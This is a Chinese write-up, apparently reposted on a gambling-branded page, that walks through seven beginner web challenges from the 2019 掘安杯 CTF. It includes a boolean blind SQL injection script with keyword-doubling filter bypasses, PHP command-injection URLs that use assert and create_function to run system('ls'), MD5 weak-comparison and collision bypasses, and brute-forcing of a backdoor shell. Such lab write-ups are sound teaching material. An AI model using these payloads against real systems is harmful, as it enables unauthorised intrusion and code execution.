微彩娛樂2019掘安杯web writeup_HUC惠仲娱乐

微彩娛樂

前言

掘安杯网络安全技能挑战赛。题目相对简单适合新手入门,偏向php代码基础漏洞的学习。

web1

题目url:http://120.79.1.69:10001/

相当于签到题目,没什么难度,

进行抓包base64解码即可得到第一道题的flag。

amFjdGZ7OWMxZTNkMThjNDMzZDkzZDk2YTk2NGMwMGFkMzBiOGZ9  jactf{9c1e3d18c433d93d96a964c00ad30b8f}

web2

题目url:http://120.79.1.69:10002
可以下载文件源码。但是flag.txt下载不了,查看源码提示。

下载file=flag.php下载源码。

<?php header('Content-Type: text/html; charset=utf-8'); //网页编码 function encrypt($data, $key)  {     $key = md5 ( $key );     $x = 0;     $len = strlen ( $data );#32     $l = strlen ( $key );   #5      for($i = 0; $i<$len; $i ++) {          if ($x == $l) {             $x = 0;         }         $char .= $key {$x};         $x ++;     }      for($i = 0; $i < $len; $i ++) {         $str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} ))%256 );     }     echo  base64_encode ( $str ); }  function decrypt($data, $key) {     $key = md5 ( $key );     $x = 0;     $data = base64_decode ( $data );     $len = strlen ( $data );     $l = strlen ( $key );     for($i = 0; $i < $len; $i ++) {         if ($x == $l) {             $x = 0;         }         $char .= substr ( $key, $x, 1 );         $x ++;     }     for($i = 0; $i < $len; $i ++) {         if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {             $str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );         } else {             $str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );         }     }     echo $str; }  $key="MyCTF"; $flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";    ?>

解读:这很明显是个加密解密,其中给了加密后的flag,利用第一个函数加密,钥匙也给了MyCTF。但是不清楚为啥给了解密算法,不给也很容易逆推就可以解出来。

所以最终就是直接decrypt($flag,$key),就会打印出来flag, 也可以验证一下。

web3

url地址:http://120.79.1.69:10003

标题很简单的猜密码,

先看看源码,有PHP源码

session_start(); $_SESSION['pwd']=time(); if (isset ($_POST['password'])) {     if ($_POST['pwd'] == $_SESSION['pwd'])         die('Flag:'.$flag);     else{         print '<p>猜测错误.</p>';         $_SESSION['pwd']=time().time();     } }

代码相当精简,如果post的pwd等于当前的时间,就返回flag,尝试过提前预判时间,发现不可以,就只能直接入手题目了,这里用到了一个弱比较,来进行一个空比较,session ID是我们可控的,pwd也是我们可控的,唯一就是session我们无法控制是多少,但是可以置为空,

删除PHPSESSID,然后使得pwd= 空,判断就变成了空等于空,可以得到flag。

web4

url地址:http://120.79.1.69:10004

这个题一开始工具出问题扫半天没扫到,但是完全没有入手点,后来发现是工具字典问题,建议CTF找不到入手点就多扫扫,可能有遗漏,这个题目就是扫目录,有个后门文件,shell.php

一般来说后门文件就是爆破密码,本题也不例外,在burp intruder模块里进行爆破。

web5

url地址:http://120.79.1.69:10005

这道题目综合了三个知识点,python session快速计算提交,注入绕过,代码审计。综合起来还是搞了半天。

1.有个登陆框,

有返回报错信息,不难想到,肯定和注入挂钩,fuzz发现,or被过滤为空,但是很容易绕过,常规双写绕过,select也被过滤了,也可以使用双写绕过,selselectect,后台验证如果是select就替换为空,selselectect 就等于 select,空格被过滤,这里用/**/替换,

最终poc

'oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),%s,1))>1/**/--/**/+'

如果正确的话回显用户名正确,错误的话回显用户名错误,基于布尔的盲注。脚本。

#!/usr/bin/python  # -*- coding: UTF-8 -*-  import sys import requests url="http://120.79.1.69:10005/index.php?check" password="" for i in range(1,30):     payload="'oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),%s,1))>%s/**/--/**/+'"     min=10     max=150     while abs(max-min)>1:         mid=int((max+min)/2)         p = payload % (str(i),str(mid))         data={"username":p}         res=requests.post(url=url,data=data)         if res.content.find("goodboy")!=-1:             min=mid         else:             max=mid     password=password+chr(max)     print password

得到密码。

最终poc

账号:'''=' 密码:ajahas&&*44askldajaj

接下来快速计算验证码,py脚本,

# -*- encoding:utf8 -*- import sys import requests import re  url="http://120.79.1.69:10005/index.php"  s=requests.Session()  r=s.get(url=url)  matchp=re.search(r'(.{1}\d+[+\-*]\d+[+\-*]\d+.{1}.{1}){4}.{1}\d+[+\-*]\d+[+\-*]\d+.{1}',r.text).group()#.{1}匹配前面任意一个字符,因为给的括号是中文括>号后面同理。  matchp=matchp.replace(u'(','(') matchp=matchp.replace(u')',')') matchp=matchp.replace('X','*')  num=round(eval(matchp))  urls="http://120.79.1.69:10005/index.php?check"  data={"username":"'''='","code":num,"password":"ajahas&&*44askldajaj"}  res=s.post(url=urls,data=data) print (res.text)

得到回显。

又进入另一个坑,下载zip包,zip包被加密了,

网页回显源码中给出了form的密码,打开form是道代码审计同样很简短。

Private Function getPassword(ByVal str As String) As String     Dim reString As String     Dim i As Integer     i = 1     While (i <= Len(str))      reString = reString & Mid(str, i, 1)      i = i + (i Mod 5)     Wend     getPassword = reString End Function  Private Sub Command1_Click()    Dim Dictionary As String     Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="     Dim password As String    password = getPassword(Dictionary)    Dim psw As String    psw = Text1.Text    If (psw = password) Then     MsgBox "The password is correct!", vbOKOnly, "密码正确"      Text1.Text = "Password for next pass : " & getPassword(password)        Else     MsgBox "PasswordFail!", vbOKOnly, "密码错误"        End If    End Sub

写个python脚本解出flag.jpg的压缩密码。

# -*- encoding:utf8 -*-  def getPassword(str):     restr=''     i=1     while i <=(len(str)):         restr= restr+(str[i-1:i])         i=i+(i%5)     return restr dict="VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="  password=getPassword(dict) password=getPassword(password)  print (password)

得到密码 VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk

将flag.jpg以txt方式打开得到flag。

web6

url地址:http://120.79.1.69:10006

一道代码审计题目,依然很精简。

<?php error_reporting(0); if(isset($_GET['action'])) {     $action = $_GET['action']; }  if(isset($_GET['action'])){     $arg = $_GET['arg']; }  if(preg_match('/^[a-z0-9_]*$/isD', $action)){     show_source(__FILE__); } else {     $action($arg,''); }

正则匹配

i 不区分大小写 /s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv] /D如果使用$限制结尾字符,则不允许结尾有换行;

精简的源码,考的代码执行,可以参考一下P牛 的create_function()代码注入,不过本题稍微有点点变化,本题其实只有一个点,

传入action参数,我们可控函数,寻找一个能够执行命令的函数就可以,但是需要这个函数有两个参数,eval就不可以,assert可以传入两个参数,可以直接getshell,

正则匹配绕过匹配开头,使用\绕过。

完整poc http://120.79.1.69:8886/web6?action=\assert&arg=system('dir')

由于题目关闭了,本地复现,

通过命令查找,即可获得flag。

参考文章:https://mochazz.github.io/2019/01/12/create_function%E5%87%BD%E6%95%B0%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0RCE/

后来题目环境变了, assert不能使用了,之前assert可以说是个bug,还是要来一遍正规做法。

题目url:http://120.79.1.69:10006

首先要绕过正则,数字字母下划线被过滤,但是需要调用函数,使用create_function创建函数,\create_function就是调用全局的create_function函数,正好绕过了正则,接下来就是拼接字符串。poc

http://120.79.1.69:10006?action=\create_function&arg=){}system('ls');//

拼入字符串后的结果。

\create_function(){}system('ls');//,'');

得到flag。

web7

这道题目依然是代码审计,主要是考弱比较以及MD5等方面的绕过。

题目url:http://120.79.1.69:8887/web7

打开即可获得源码,这里我贴出源码。

<?php highlight_file(__FILE__); include('flag.php'); $str1 = @$_GET['str1']; $str2 = @$_GET['str2']; $str3 = @$_GET['str3']; $str4 = @$_GET['str4']; $str5 = (string)@$_POST['str5']; $str6 = (string)@$_POST['str6']; $str7 = (string)@$_POST['str7']; if( $str1 == $str2 ){     die('str1 OR Sstr2 no no no'); } if( md5($str1) != md5($str2) ){     die('step 1 fail'); } if( $str3 == $str4 ){     die('str3 OR str4 no no no'); } if ( md5($str3) !== md5($str4)){     die('step 2 fail'); } if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){     die('str5 OR str6 OR str7 no no no'); } if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){     die('step 3 fail'); }  if(!($_POST['a']) and !($_POST['b'])) {     echo "come on!";     die(); } $a = $_POST['a']; $b = $_POST['b']; $m = $_GET['m']; $n = $_GET['n'];  if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))  {     echo "a OR b fail!";     die(); }  if ((strlen($m) > 4) || (strlen($n) > 4))  {     echo "m OR n fail";     die(); }  $str8 = hash('md5', $a, false); $str9 = strtr(hash('md5', $b, false), $m, $n);  echo "<p>str8 : $str8</p>"; echo "<p>str9 : $str9</p>";  if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6)) {     echo "You're great,give you flag:";     echo $flag; }

还算比较常规比较简单的源码,主要是考几个php知识点。

1.首先需要传参数str1不能等于str2,但是需要md5一样,不清楚的百度php md5弱比较。也就是字符串QNKCDZO 和字符串s878926199a,这两个加密出来的md5是

MD5("QNKCDZO")=0e830400451993494058024219903391 MD5("s878926199a")=0e545993274517709034328855841020

在php中如果是0e开头的字符串进行==比较,会认为是科学记数法0e,0的几次方,所以结果自然是0,这样就达到了字符串比较不相等,但是MD5值相等的绕过方法,前提是0e后面跟的是数字,如果是0e1a223...,0e后面有个a字母则无法转化成0。

2.str3和str4和str1 str2差不多,唯一变化是这次用到了!==需要绕过,但是在这种严密的!==,0e这种不可以绕过了,他会一个一个字符的对比,而不是解析为0,这个时候需要用到数组类型不同来绕过,也就是str3[]=1,str4=0,因为这两种根本不是同一种类型的,所以自然无法比较返回false,进而绕过。

3.str5 str6 str7,首先第一个肯定不能三个相等,但是下面又用严格的判断必须md5相等,在php中===和!==这种几乎是没办法绕过的,所以只能让他们的md5真正相等,如果一开始就去绕可能就陷进去了,这个判断的难点在于找到三个真正相等的MD5值的原型。这里参考一篇文章。

https://xz.aliyun.com/t/3161#toc-5

基于全等的MD5碰撞绕过这一目录下的讲解,很详细,需要下载他所说的两个工具,然后按照他的命令

D:\fastcoll>fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1      #-o参数代表随机生成两个相同MD5的文件 D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj00 jlzj01  #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件,注意:生成的MD5与jlzj1不同 D:\fastcoll>tail.exe -c 128 jlzj00 > a                #-c 128代表将jlzj00的最后128位写入文件a,这128位正是jlzj1与jlzj00的MD5不同的原因 D:\fastcoll>tail.exe -c 128 jlzj01 > b                #同理 D:\fastcoll>type jlzj0 a > jlzj10                    #这里表示将jlzj0和a文件的内容合并写入jlzj10 D:\fastcoll>type jlzj0 b > jlzj11                    #同理写入jlzj11

生成文件即可,生成的文件内容进行MD5加密就是相同的,但是需要url编码提交到burp里面发包,如果在浏览器里会自动解码,出现大大小小的各种问题。

编码参考:https://xz.aliyun.com/t/2232

最终将生成的三个url编码之后的分别复制给str5 str6 str7。

4.第四个点,首先post a和b,然后进入第二个判断,a必须是大写字母,b必须是数字,(is_numeric函数也有一些漏洞),b的长度不能大于6,这里我们把视角移到最后一个if判断

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))

这里用===判断,b的长度必须为6,刚刚我们说了===很难绕过,所以b的长度就只能为6,其中a不能等于b,这个很容易做到,str8 == str9,

$str8 = hash('md5', $a, false);  $str9 = strtr(hash('md5', $b, false), $m, $n);

很显然又是需要0e来绕过使得md5后的a b相等,这里a的值很简单,利用网上现有的MD5之后的原型QNKCDZO,并且都是大写,但是b想要找到六位的并且0e开头能够利用的仿佛并找不到,这里想了很久,不过还好有一个字符替换,

strtr(hash('md5', $b, false), $m, $n)

这里是将m替换为n,这样我们就可以利用替换,将一些可能构造的md5值构造成我们需要的,比如 0e123123aaa,我们可以让m=a,n=1,替换为0e123123111,这样就可以进行判断绕过了,这里还要提到上面提示了一个点用is_numeric函数的漏洞,他可以接受十六进制,0xFFFF他同样认为是数字,所以我们写个脚本找到0e开头的md5值,然后替换掉其中的字母,最终绕过。

for($i=1000;$i<9999;$i++) {     $b="0x".$i;      #echo md5($b);     $c=md5($b);      if(preg_match('/^0e/',$c))     {         echo $b."=====>>";         echo $c;         echo "<br/>";      }  }

选择其中一个

0x6156=====>>0ec4899c94ada8d08a6ada8623c6ff01

刚好md5值有数字 cadf,四个字符刚好用长度最大为4的m n来替换,完整的poc,得到flag。